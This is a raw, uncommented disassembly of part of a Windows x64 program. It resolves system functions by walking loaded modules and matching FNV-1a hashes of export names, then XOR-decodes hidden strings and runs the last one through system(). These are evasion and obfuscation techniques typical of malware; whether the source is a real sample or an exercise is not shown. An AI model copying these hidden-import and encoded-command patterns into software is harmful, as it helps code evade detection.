mov rcx, qword [rsp + 0x850]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x858]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0xd10]
mov qword [rsp + 0x860], rax
mov rax, qword [rsp + 0x860]
mov qword [rsp + 0x310], rax
jmp 0x14000a64d
jmp 0x14000a41a
mov rax, qword [rsp + 0xc80]
mov qword [rsp + 0x868], rax
mov rax, qword [rsp + 0x868]
mov rax, qword [rax]
mov qword [rsp + 0x870], rax
mov rax, qword [rsp + 0x870]
mov qword [rsp + 0xc80], rax
mov byte [rsp + 0x6b], 1
movzx eax, byte [rsp + 0x6b]
test eax, eax
jne 0x14000a333
mov qword [rsp + 0x310], 0
lea rax, [rsp + 0x878]
mov qword [rsp + 0x880], rax
mov rax, qword [rsp + 0x880]
mov rax, qword [rax]
mov qword [rsp + 0x898], rax
mov rax, qword [rsp + 0x888]
mov qword [rsp + 0x890], rax
mov rax, qword [rsp + 0x890]
mov qword [rsp + 0x8a0], rax
mov rdx, qword [rsp + 0x898]
mov rcx, qword [rsp + 0x8a0]
call qword [rsp + 0x310]
mov rax, qword [rsp + 0x8a8]
mov qword [rsp + 0x8f8], rax
lea rax, [0x1400064a0]
mov qword [rsp + 0x908], rax
mov rax, qword [rsp + 0x988]
mov qword [rsp + 0x2f8], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x8b0], rax
mov rax, qword [rsp + 0x8b0]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x8b8], rax
mov rax, qword [rsp + 0x8b8]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x8c0], rax
mov rax, qword [rsp + 0x8c0]
mov qword [rsp + 0xc88], rax
mov rax, qword [rsp + 0xc88]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x1c8], rax
mov rax, qword [rsp + 0x1c8]
mov qword [rsp + 0xd28], rax
mov rax, qword [rsp + 0x1c8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x1c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c8], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x8c8]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x428], rax
mov eax, dword [rsp + 0x428]
mov rcx, qword [rsp + 0x1c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd30], rax
mov eax, dword [rsp + 0x42c]
mov dword [rsp + 0xd38], eax
mov rax, qword [rsp + 0xd28]
cmp qword [rsp + 0xd30], rax
je 0x14000a7d0
mov dword [rsp + 0x1a4], 1
jmp 0x14000a7db
mov dword [rsp + 0x1a4], 0
movzx eax, byte [rsp + 0x1a4]
mov byte [rsp + 0x6c], al
movzx eax, byte [rsp + 0x6c]
test eax, eax
je 0x14000a9e8
mov rax, qword [rsp + 0xd30]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0xdc], eax
mov eax, dword [rsp + 0xdc]
mov dword [rsp + 0x2a8], eax
mov eax, dword [rsp + 0xdc]
dec eax
mov dword [rsp + 0xdc], eax
cmp dword [rsp + 0x2a8], 0
je 0x14000a9e8
mov eax, dword [rsp + 0x490]
mov dword [rsp + 0x1a8], eax
movabs rax, 0xd4eef37777c39e3
shr rax, 0x20
mov dword [rsp + 0x1a8], eax
mov rax, qword [rsp + 0x998]
mov qword [rsp + 0x430], rax
mov rax, qword [rsp + 0xd30]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0xd28]
add rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0xdc]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0xd28]
mov qword [rsp + 0x430], rax
movabs rax, 0xd4eef37777c39e3
mov ecx, 0xffffffff
and rax, rcx
mov dword [rsp + 0x2ac], eax
mov rax, qword [rsp + 0x430]
mov qword [rsp + 0x398], rax
mov eax, dword [rsp + 0x1a8]
mov dword [rsp + 0x114], eax
mov rax, qword [rsp + 0x398]
movzx eax, byte [rax]
mov byte [rsp + 0x6d], al
mov rax, qword [rsp + 0x398]
inc rax
mov qword [rsp + 0x398], rax
movzx eax, byte [rsp + 0x6d]
mov byte [rsp + 0x57], al
movsx eax, byte [rsp + 0x57]
test eax, eax
jne 0x14000a913
mov eax, dword [rsp + 0x114]
mov dword [rsp + 0x35c], eax
jmp 0x14000a95d
xor eax, eax
test eax, eax
je 0x14000a92a
movsx eax, byte [rsp + 0x57]
or eax, 0x20
mov dword [rsp + 0x1ac], eax
jmp 0x14000a936
movsx eax, byte [rsp + 0x57]
mov dword [rsp + 0x1ac], eax
mov eax, dword [rsp + 0x1ac]
mov ecx, dword [rsp + 0x114]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x114], eax
jmp 0x14000a8cf
mov eax, dword [rsp + 0x2ac]
cmp dword [rsp + 0x35c], eax
jne 0x14000a9e3
mov rax, qword [rsp + 0xd30]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0xd28]
mov qword [rsp + 0x8d8], rax
mov rax, qword [rsp + 0xd30]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0xd28]
mov qword [rsp + 0x8d0], rax
mov eax, dword [rsp + 0xdc]
mov rcx, qword [rsp + 0x8d0]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x8d8]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0xd28]
mov qword [rsp + 0x8e0], rax
mov rax, qword [rsp + 0x8e0]
mov qword [rsp + 0x2f8], rax
jmp 0x14000aa39
jmp 0x14000a806
mov rax, qword [rsp + 0xc88]
mov qword [rsp + 0x8e8], rax
mov rax, qword [rsp + 0x8e8]
mov rax, qword [rax]
mov qword [rsp + 0x8f0], rax
mov rax, qword [rsp + 0x8f0]
mov qword [rsp + 0xc88], rax
mov byte [rsp + 0x6e], 1
movzx eax, byte [rsp + 0x6e]
test eax, eax
jne 0x14000a71f
mov qword [rsp + 0x2f8], 0
lea rax, [rsp + 0x8f8]
mov qword [rsp + 0x900], rax
mov rax, qword [rsp + 0x900]
mov rax, qword [rax]
mov qword [rsp + 0x918], rax
mov rax, qword [rsp + 0x908]
mov qword [rsp + 0x910], rax
mov rax, qword [rsp + 0x910]
mov qword [rsp + 0x920], rax
mov rdx, qword [rsp + 0x918]
mov rcx, qword [rsp + 0x920]
call qword [rsp + 0x2f8]
mov ecx, reloc.WLDAP32.dll_Ordinal_30
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000a28e
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x930], rax
lea rdx, [rsp + 0xb50]
lea rcx, [rsp + 0xf4]
call fcn.14000b0e0
mov qword [rsp + 0x230], rax
mov eax, 1
imul rax, rax, 0xb
mov rcx, qword [rsp + 0x230]
movsx eax, byte [rcx + rax]
test eax, eax
je 0x14000aaf5
mov dword [rsp + 0x1b0], 1
jmp 0x14000ab00
mov dword [rsp + 0x1b0], 0
movzx eax, byte [rsp + 0x1b0]
test eax, eax
je 0x14000ab82
mov dword [rsp + 0xac], 0
jmp 0x14000ab29
mov eax, dword [rsp + 0xac]
inc eax
mov dword [rsp + 0xac], eax
cmp dword [rsp + 0xac], 0xc
jge 0x14000ab82
movsxd rax, dword [rsp + 0xac]
mov rcx, qword [rsp + 0x230]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x2b4], eax
mov eax, dword [rsp + 0xac]
cdq
mov ecx, Ordinal_60
idiv ecx
mov eax, edx
add eax, 0x39
mov ecx, dword [rsp + 0x2b4]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0xac]
mov rdx, qword [rsp + 0x230]
mov byte [rdx + rcx], al
jmp 0x14000ab19
mov rax, qword [rsp + 0x230]
mov qword [rsp + 0x928], rax
mov rdx, qword [rsp + 0x928]
mov rcx, qword [rsp + 0x930]
call fcn.140023a40
mov qword [rsp + 0x498], rax
lea rdx, [0x1400239e0]
mov rcx, qword [rsp + 0x498]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x4a8], rax
lea rdx, [rsp + 0xb60]
lea rcx, [rsp + 0xf3]
call fcn.14000b110
mov qword [rsp + 0x238], rax
mov eax, 1
imul rax, rax, 0x10
mov rcx, qword [rsp + 0x238]
movsx eax, byte [rcx + rax]
test eax, eax
je 0x14000ac16
mov dword [rsp + 0x1b4], 1
jmp 0x14000ac21
mov dword [rsp + 0x1b4], 0
movzx eax, byte [rsp + 0x1b4]
test eax, eax
je 0x14000aca3
mov dword [rsp + 0xb0], 0
jmp 0x14000ac4a
mov eax, dword [rsp + 0xb0]
inc eax
mov dword [rsp + 0xb0], eax
cmp dword [rsp + 0xb0], 0x11
jge 0x14000aca3
movsxd rax, dword [rsp + 0xb0]
mov rcx, qword [rsp + 0x238]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x2b8], eax
mov eax, dword [rsp + 0xb0]
cdq
mov ecx, Ordinal_60
idiv ecx
mov eax, edx
add eax, 0x39
mov ecx, dword [rsp + 0x2b8]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0xb0]
mov rdx, qword [rsp + 0x238]
mov byte [rdx + rcx], al
jmp 0x14000ac3a
mov rax, qword [rsp + 0x238]
mov qword [rsp + 0x4a0], rax
mov rdx, qword [rsp + 0x4a0]
mov rcx, qword [rsp + 0x4a8]
call fcn.140023a40
mov qword [rsp + 0x4b0], rax
lea rdx, [0x1400239e0]
mov rcx, qword [rsp + 0x4b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x4c0], rax
lea rdx, [rsp + 0xb78]
lea rcx, [rsp + 0xf2]
call fcn.14000b140
mov qword [rsp + 0x240], rax
mov eax, 1
imul rax, rax, 0x13
mov rcx, qword [rsp + 0x240]
movsx eax, byte [rcx + rax]
test eax, eax
je 0x14000ad37
mov dword [rsp + 0x1b8], 1
jmp 0x14000ad42
mov dword [rsp + 0x1b8], 0
movzx eax, byte [rsp + 0x1b8]
test eax, eax
je 0x14000adc4
mov dword [rsp + 0xb4], 0
jmp 0x14000ad6b
mov eax, dword [rsp + 0xb4]
inc eax
mov dword [rsp + 0xb4], eax
cmp dword [rsp + 0xb4], 0x14
jge 0x14000adc4
movsxd rax, dword [rsp + 0xb4]
mov rcx, qword [rsp + 0x240]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x2bc], eax
mov eax, dword [rsp + 0xb4]
cdq
mov ecx, Ordinal_60
idiv ecx
mov eax, edx
add eax, 0x39
mov ecx, dword [rsp + 0x2bc]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0xb4]
mov rdx, qword [rsp + 0x240]
mov byte [rdx + rcx], al
jmp 0x14000ad5b
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x4b8], rax
mov rdx, qword [rsp + 0x4b8]
mov rcx, qword [rsp + 0x4c0]
call fcn.140023a40
mov qword [rsp + 0x4c8], rax
lea rdx, [0x1400239e0]
mov rcx, qword [rsp + 0x4c8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rsp + 0x4d8], rax
lea rdx, [rsp + 0xc00]
lea rcx, [rsp + 0xfb]
call fcn.14000b170
mov qword [rsp + 0x248], rax
mov eax, 1
imul rax, rax, 0x43
mov rcx, qword [rsp + 0x248]
movsx eax, byte [rcx + rax]
test eax, eax
je 0x14000ae58
mov dword [rsp + 0x1bc], 1
jmp 0x14000ae63
mov dword [rsp + 0x1bc], 0
movzx eax, byte [rsp + 0x1bc]
test eax, eax
je 0x14000aee5
mov dword [rsp + 0xb8], 0
jmp 0x14000ae8c
mov eax, dword [rsp + 0xb8]
inc eax
mov dword [rsp + 0xb8], eax
cmp dword [rsp + 0xb8], 0x44
jge 0x14000aee5
movsxd rax, dword [rsp + 0xb8]
mov rcx, qword [rsp + 0x248]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x2c0], eax
mov eax, dword [rsp + 0xb8]
cdq
mov ecx, Ordinal_60
idiv ecx
mov eax, edx
add eax, 0x39
mov ecx, dword [rsp + 0x2c0]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0xb8]
mov rdx, qword [rsp + 0x248]
mov byte [rdx + rcx], al
jmp 0x14000ae7c
mov rax, qword [rsp + 0x248]
mov qword [rsp + 0x4d0], rax
mov rdx, qword [rsp + 0x4d0]
mov rcx, qword [rsp + 0x4d8]
call fcn.140023a40
mov qword [rsp + 0x4e0], rax
lea rdx, [0x1400239e0]
mov rcx, qword [rsp + 0x4e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rsp + 0x958]
lea rcx, [rsp + 0xf1]
call fcn.14000b1a0
mov qword [rsp + 0x250], rax
mov eax, 1
imul rax, rax, 5
mov rcx, qword [rsp + 0x250]
movsx eax, byte [rcx + rax]
test eax, eax
je 0x14000af6a
mov dword [rsp + 0x1c0], 1
jmp 0x14000af75
mov dword [rsp + 0x1c0], 0
movzx eax, byte [rsp + 0x1c0]
test eax, eax
je 0x14000aff7
mov dword [rsp + 0xbc], 0
jmp 0x14000af9e
mov eax, dword [rsp + 0xbc]
inc eax
mov dword [rsp + 0xbc], eax
cmp dword [rsp + 0xbc], 6
jge 0x14000aff7
movsxd rax, dword [rsp + 0xbc]
mov rcx, qword [rsp + 0x250]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x2c4], eax
mov eax, dword [rsp + 0xbc]
cdq
mov ecx, Ordinal_60
idiv ecx
mov eax, edx
add eax, 0x39
mov ecx, dword [rsp + 0x2c4]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0xbc]
mov rdx, qword [rsp + 0x250]
mov byte [rdx + rcx], al
jmp 0x14000af8e
mov rax, qword [rsp + 0x250]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov qword [0], 0
mov dword [rsp + 0x2c8], 0
lea rcx, [rsp + 0xda8]
call fcn.140020bd0
lea rcx, [rsp + 0xd88]
call fcn.140020bd0
lea rcx, [rsp + 0xd50]
call fcn.1400206d0
lea rcx, [rsp + 0xd68]
call fcn.140020bd0
lea rcx, [rsp + 0xdc8]
call fcn.140020bd0
mov eax, dword [rsp + 0x2c8]
mov rcx, qword [rsp + 0xe70]
xor rcx, rsp
call fcn.1400a9190
add rsp, 0xe88
pop rdi
pop rsi
ret